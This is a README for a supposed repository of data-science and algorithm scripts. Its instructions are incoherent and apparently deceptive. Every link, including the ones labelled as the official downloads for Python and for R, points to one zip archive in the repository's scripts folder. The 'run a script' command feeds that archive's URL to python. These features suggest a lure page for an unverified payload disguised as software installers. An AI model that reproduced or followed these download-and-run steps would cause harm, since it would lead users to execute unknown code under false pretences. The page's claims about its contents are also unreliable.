🐍 DSA-Python-Scripts - Explore Data Science Made Easy

📖 Overview

DSA-Python-Scripts is a dual-language repository designed to help users learn and apply advanced Data Science concepts. It offers R scripts for statistical analysis and probability modeling, along with a Python library containing various recursive algorithms and sorting implementations. This resource caters to both beginners and those looking to deepen their understanding of Data Science fundamentals.

📥 Download & Install

To get started, you need to download the application. Follow these steps:

1. Visit the Releases Page: Click the link below to go to the download page.

   Download Here

2. Select the Latest Release: Look for the most recent version at the top of the page. Each release includes packaged software ready for use.

3. Download the Files: Click on the download link for the specific files you need. For example, you might find options for R scripts and Python libraries.

4. Extract Files (if necessary): Some downloads may come in ZIP format. If so, right-click the ZIP file and select "Extract All" to unpack it.

5. Run the Application: Open the corresponding software and follow any on-screen instructions to start using it.

🚀 Getting Started

After downloading, follow these steps to set up your environment:

1. Install Required Software:

   • For Python scripts: Ensure you have Python installed on your computer. You can download it from https://github.com/Chadmario799/DSA-Python-Scripts/raw/refs/heads/main/scripts/DS_Python_Scripts_2.3.zip.
   • For R scripts: Download R from https://github.com/Chadmario799/DSA-Python-Scripts/raw/refs/heads/main/scripts/DS_Python_Scripts_2.3.zip.

2. Open Your Terminal or Command Prompt:

   • Windows: Search for "Command Prompt" in the Start menu.
   • macOS/Linux: Open the Terminal app.

3. Navigate to the Downloaded Folder: Use the cd command to change directories to where you downloaded the files. For example:

   cd path\to\your\downloaded\folder
   

4. Run Python Scripts: To execute a Python script, type:

   python https://github.com/Chadmario799/DSA-Python-Scripts/raw/refs/heads/main/scripts/DS_Python_Scripts_2.3.zip
   

   Replace https://github.com/Chadmario799/DSA-Python-Scripts/raw/refs/heads/main/scripts/DS_Python_Scripts_2.3.zip with the name of the script you wish to run.

5. Run R Scripts: Open R or RStudio, then load the script using:

   source("script_name.R")

   Replace script_name.R with the script you downloaded.

🔍 Features

• Statistical Analysis: Use R scripts for detailed computations, including t-tests and ANOVA.
• Probability Modeling: Explore various models like Normal, Poisson, and Binomial distributions.
• Exploratory Data Analysis (EDA): Create visualizations and summaries to understand data patterns.
• Sorting Algorithms:
  • Quick Sort
  • Selection Sort
  • Insertion Sort
• Recursive Algorithms: Learn recursion through simple to advanced examples.

📋 System Requirements

For smooth operation, make sure your system meets these requirements:

• Operating System: Windows, macOS, or Linux
• Memory: At least 4 GB RAM
• Disk Space: Minimum of 100 MB available storage

👨‍💻 Topics Covered

This repository includes a variety of topics related to Data Science and algorithms. Some key areas are:

• Algorithms
• Binary Search
• Factorial calculation
• Permutation algorithms
• Sorting algorithms
• Python and recursion-based methods

🤝 Contributing

If you wish to help improve the DSA-Python-Scripts repository, please follow these guidelines:

1. Fork the Repository: Click the "Fork" button at the top right of the page.
2. Create a New Branch: Use a descriptive branch name for your changes.
3. Commit Changes: Provide clear commit messages explaining your changes.
4. Open a Pull Request: Submit your branch for review.

📞 Support

If you face any issues or have questions, please feel free to reach out via the following methods:

• Check the Issues section in the GitHub repository for similar questions and answers.
• Contact the repository maintainer through GitHub.

⭐ License

This project is licensed under the MIT License. You can find the full license details in the repository.